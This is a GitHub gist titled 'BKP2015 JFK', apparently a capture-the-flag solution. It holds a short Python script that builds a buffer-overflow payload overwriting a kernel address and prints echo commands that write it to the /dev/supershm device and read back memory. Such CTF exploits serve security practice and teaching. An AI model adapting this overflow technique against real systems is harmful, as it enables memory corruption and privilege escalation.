Skip to content

Instantly share code, notes, and snippets.

@volpino
Created March 1, 2015 22:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save volpino/43581cd2b72481dd471f to your computer and use it in GitHub Desktop.
Save volpino/43581cd2b72481dd471f to your computer and use it in GitHub Desktop.
BKP2015 JFK
import struct
def q(word):
return struct.pack("<I", word)
addr = q(0xc332fc05)
is_valid = "BBBB"
myname = "DDDD"
payload = "A"*32 + addr + is_valid + myname
print "echo -ne 'c{}' > /dev/supershm".format(repr(payload)[1:-1])
print "echo -ne 's{}' > /dev/supershm".format(myname)
print "head -c 1024 /dev/supershm"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment